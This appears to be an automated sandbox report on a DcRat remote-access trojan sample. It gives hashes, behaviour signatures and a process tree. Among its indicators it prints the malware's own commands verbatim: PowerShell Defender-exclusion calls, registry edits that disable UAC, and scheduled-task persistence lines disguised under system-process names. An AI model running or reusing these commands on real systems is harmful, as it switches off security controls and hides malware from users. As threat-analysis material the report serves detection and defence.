dcrat | 0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a

Analysis

max time kernel
89s
max time network
129s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
07/10/2022, 11:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
Size

1.3MB
MD5

8b9eb441ae46675e56ddf5e5f02fe547
SHA1

bde0260be99e0c128cbb5539c2f142f310e8a879
SHA256

0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a
SHA512

1fc15295736f566f18414b3abd8a56d6655e081b4aed793cf0df3a2b25988c25770a963ccd05ddfd68134b76837878b499787d3ce4c9257782f3222ed081d617
SSDEEP

24576:Or1EoK804IflP6CGaDI2jt4VwQtk+CsNFoDyObMfcQz9dTwHO742l2DXeAWH:0qod0/dJGaJt4fmSeDyObYfTwu1l1

Score

10^/10

dcrat evasion infostealer rat trojan

Malware Config

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

Process spawned unexpected child process 30 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5108	4848	schtasks.exe	23
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5052	4848	schtasks.exe	23
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3624	4848	schtasks.exe	23
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	220	4848	schtasks.exe	23
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	528	4848	schtasks.exe	23
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3080	4848	schtasks.exe	23
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2228	4848	schtasks.exe	23
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3748	4848	schtasks.exe	23
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4996	4848	schtasks.exe	23
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4024	4848	schtasks.exe	23
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2316	4848	schtasks.exe	23
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4416	4848	schtasks.exe	23
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1412	4848	schtasks.exe	23
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4236	4848	schtasks.exe	23
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	624	4848	schtasks.exe	23
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1132	4848	schtasks.exe	23
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	876	4848	schtasks.exe	23
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3964	4848	schtasks.exe	23
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4808	4848	schtasks.exe	23
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3984	4848	schtasks.exe	23
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1728	4848	schtasks.exe	23
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2512	4848	schtasks.exe	23
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4228	4848	schtasks.exe	23
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2884	4848	schtasks.exe	23
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1852	4848	schtasks.exe	23
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4760	4848	schtasks.exe	23
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2004	4848	schtasks.exe	23
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1548	4848	schtasks.exe	23
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1796	4848	schtasks.exe	23
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1580	4848	schtasks.exe	23

UAC bypass 3 TTPs 6 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	WmiPrvSE.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	WmiPrvSE.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	WmiPrvSE.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe

DCRat payload 4 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral2/memory/4112-132-0x0000000000A00000-0x0000000000B50000-memory.dmp	dcrat
behavioral2/files/0x0006000000022de7-186.dat	dcrat
behavioral2/files/0x0006000000022de7-187.dat	dcrat
behavioral2/memory/636-188-0x00000000002C0000-0x0000000000410000-memory.dmp	dcrat

Executes dropped EXE 1 IoCs

pid	Process
636	WmiPrvSE.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe

Checks whether UAC is enabled 1 TTPs 4 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	WmiPrvSE.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	WmiPrvSE.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe

Drops file in Program Files directory 20 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Reference Assemblies\Microsoft\RCXBA42.tmp	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
File opened for modification	C:\Program Files (x86)\Windows Mail\dllhost.exe	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
File opened for modification	C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\RCXC9CD.tmp	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
File opened for modification	C:\Program Files (x86)\Windows NT\Accessories\en-US\RCXCCCD.tmp	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
File created	C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\WmiPrvSE.exe	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
File created	C:\Program Files (x86)\Windows NT\Accessories\en-US\24dbde2999530e	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
File opened for modification	C:\Program Files (x86)\Reference Assemblies\Microsoft\dllhost.exe	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
File opened for modification	C:\Program Files (x86)\Windows Mail\RCXC6CE.tmp	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
File created	C:\Program Files (x86)\Reference Assemblies\Microsoft\5940a34987c991	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
File created	C:\Program Files (x86)\Windows Mail\dllhost.exe	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
File created	C:\Program Files (x86)\Windows Mail\5940a34987c991	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
File created	C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\24dbde2999530e	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
File created	C:\Program Files (x86)\Windows NT\Accessories\en-US\WmiPrvSE.exe	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
File opened for modification	C:\Program Files (x86)\Reference Assemblies\Microsoft\RCXBAC0.tmp	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
File opened for modification	C:\Program Files (x86)\Windows Mail\RCXC74C.tmp	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
File opened for modification	C:\Program Files (x86)\Windows NT\Accessories\en-US\RCXCD99.tmp	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
File created	C:\Program Files (x86)\Reference Assemblies\Microsoft\dllhost.exe	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
File opened for modification	C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\RCXCA4B.tmp	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
File opened for modification	C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\WmiPrvSE.exe	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
File opened for modification	C:\Program Files (x86)\Windows NT\Accessories\en-US\WmiPrvSE.exe	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe

Drops file in Windows directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\assembly\NativeImages_v2.0.50727_64\Microsoft.WSMan.Man#\a58e7ee3da68f0652eb20fee5787ba4b\RCXD0B8.tmp	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
File created	C:\Windows\INF\rdyboost\0000\sppsvc.exe	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
File created	C:\Windows\assembly\NativeImages_v2.0.50727_64\Microsoft.WSMan.Man#\a58e7ee3da68f0652eb20fee5787ba4b\spoolsv.exe	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
File created	C:\Windows\assembly\NativeImages_v2.0.50727_64\Microsoft.WSMan.Man#\a58e7ee3da68f0652eb20fee5787ba4b\f3b6ecef712a24	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
File opened for modification	C:\Windows\INF\rdyboost\0000\sppsvc.exe	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
File opened for modification	C:\Windows\assembly\NativeImages_v2.0.50727_64\Microsoft.WSMan.Man#\a58e7ee3da68f0652eb20fee5787ba4b\RCXD03A.tmp	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
File created	C:\Windows\INF\rdyboost\0000\0a1fd5f707cd16	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
File opened for modification	C:\Windows\INF\rdyboost\0000\RCXBD42.tmp	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
File opened for modification	C:\Windows\INF\rdyboost\0000\RCXBDD0.tmp	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
File opened for modification	C:\Windows\assembly\NativeImages_v2.0.50727_64\Microsoft.WSMan.Man#\a58e7ee3da68f0652eb20fee5787ba4b\spoolsv.exe	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 30 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
2316	schtasks.exe
2884	schtasks.exe
528	schtasks.exe
4760	schtasks.exe
5108	schtasks.exe
5052	schtasks.exe
4024	schtasks.exe
624	schtasks.exe
3964	schtasks.exe
4236	schtasks.exe
1852	schtasks.exe
1548	schtasks.exe
1580	schtasks.exe
1132	schtasks.exe
2004	schtasks.exe
1796	schtasks.exe
3080	schtasks.exe
2228	schtasks.exe
4416	schtasks.exe
1728	schtasks.exe
220	schtasks.exe
1412	schtasks.exe
4808	schtasks.exe
4228	schtasks.exe
3624	schtasks.exe
3748	schtasks.exe
4996	schtasks.exe
876	schtasks.exe
3984	schtasks.exe
2512	schtasks.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe

Suspicious behavior: EnumeratesProcesses 49 IoCs

pid	Process
4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
4920	powershell.exe
4920	powershell.exe
4132	powershell.exe
4132	powershell.exe
5000	powershell.exe
5000	powershell.exe
4092	powershell.exe
4092	powershell.exe
2120	powershell.exe
2120	powershell.exe
4180	powershell.exe
4180	powershell.exe
2632	powershell.exe
2632	powershell.exe
2636	powershell.exe
2636	powershell.exe
3032	powershell.exe
3032	powershell.exe
5000	powershell.exe
4948	powershell.exe
4948	powershell.exe
4840	powershell.exe
4840	powershell.exe
4840	powershell.exe
4132	powershell.exe
2632	powershell.exe
4920	powershell.exe
4920	powershell.exe
4092	powershell.exe
2120	powershell.exe
4180	powershell.exe
3032	powershell.exe
2636	powershell.exe
4948	powershell.exe
636	WmiPrvSE.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
Token: SeDebugPrivilege	4920	powershell.exe
Token: SeDebugPrivilege	4132	powershell.exe
Token: SeDebugPrivilege	5000	powershell.exe
Token: SeDebugPrivilege	4092	powershell.exe
Token: SeDebugPrivilege	2120	powershell.exe
Token: SeDebugPrivilege	4180	powershell.exe
Token: SeDebugPrivilege	2632	powershell.exe
Token: SeDebugPrivilege	2636	powershell.exe
Token: SeDebugPrivilege	3032	powershell.exe
Token: SeDebugPrivilege	4948	powershell.exe
Token: SeDebugPrivilege	4840	powershell.exe
Token: SeDebugPrivilege	636	WmiPrvSE.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 4112 wrote to memory of 4920	4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe	121
PID 4112 wrote to memory of 4920	4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe	121
PID 4112 wrote to memory of 5000	4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe	122
PID 4112 wrote to memory of 5000	4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe	122
PID 4112 wrote to memory of 4092	4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe	125
PID 4112 wrote to memory of 4092	4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe	125
PID 4112 wrote to memory of 2120	4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe	126
PID 4112 wrote to memory of 2120	4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe	126
PID 4112 wrote to memory of 4132	4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe	127
PID 4112 wrote to memory of 4132	4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe	127
PID 4112 wrote to memory of 2636	4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe	141
PID 4112 wrote to memory of 2636	4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe	141
PID 4112 wrote to memory of 2632	4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe	139
PID 4112 wrote to memory of 2632	4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe	139
PID 4112 wrote to memory of 4180	4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe	130
PID 4112 wrote to memory of 4180	4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe	130
PID 4112 wrote to memory of 3032	4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe	137
PID 4112 wrote to memory of 3032	4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe	137
PID 4112 wrote to memory of 4948	4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe	136
PID 4112 wrote to memory of 4948	4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe	136
PID 4112 wrote to memory of 4840	4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe	133
PID 4112 wrote to memory of 4840	4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe	133
PID 4112 wrote to memory of 876	4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe	142
PID 4112 wrote to memory of 876	4112	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe	142
PID 876 wrote to memory of 2332	876	cmd.exe	145
PID 876 wrote to memory of 2332	876	cmd.exe	145
PID 876 wrote to memory of 636	876	cmd.exe	147
PID 876 wrote to memory of 636	876	cmd.exe	147

System policy modification 1 TTPs 6 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	WmiPrvSE.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	WmiPrvSE.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	WmiPrvSE.exe

C:\Users\Admin\AppData\Local\Temp\0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe
"C:\Users\Admin\AppData\Local\Temp\0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\0a41022c66f4025a865a8986d417f088f3b7298e1537f4253e9e14c5e27f123a_noev.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\All Users\SoftwareDistribution\SearchApp.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\.oracle_jre_usage\backgroundTaskHost.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Reference Assemblies\Microsoft\dllhost.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\INF\rdyboost\0000\sppsvc.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4132
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Mail\dllhost.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\assembly\NativeImages_v2.0.50727_64\Microsoft.WSMan.Man#\a58e7ee3da68f0652eb20fee5787ba4b\spoolsv.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows NT\Accessories\en-US\WmiPrvSE.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\WmiPrvSE.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\odt\sppsvc.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\taskhostw.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\HUSYy8DAQk.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:876
- - C:\Windows\system32\w32tm.exe
    w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
    3⤵
    PID:2332
- - C:\Program Files (x86)\Windows NT\Accessories\en-US\WmiPrvSE.exe
    "C:\Program Files (x86)\Windows NT\Accessories\en-US\WmiPrvSE.exe"
    3⤵
    - UAC bypass
    - Executes dropped EXE
    - Checks whether UAC is enabled
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - System policy modification
    PID:636

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 7 /tr "'C:\Users\All Users\SoftwareDistribution\SearchApp.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5108

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\Users\All Users\SoftwareDistribution\SearchApp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5052

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 8 /tr "'C:\Users\All Users\SoftwareDistribution\SearchApp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3624

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 6 /tr "'C:\Users\Admin\.oracle_jre_usage\backgroundTaskHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:220

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Users\Admin\.oracle_jre_usage\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:528

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 7 /tr "'C:\Users\Admin\.oracle_jre_usage\backgroundTaskHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3080

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2228

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3748

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4996

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 6 /tr "'C:\Windows\INF\rdyboost\0000\sppsvc.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4024

C:\Windows\system32\schtasks.exe
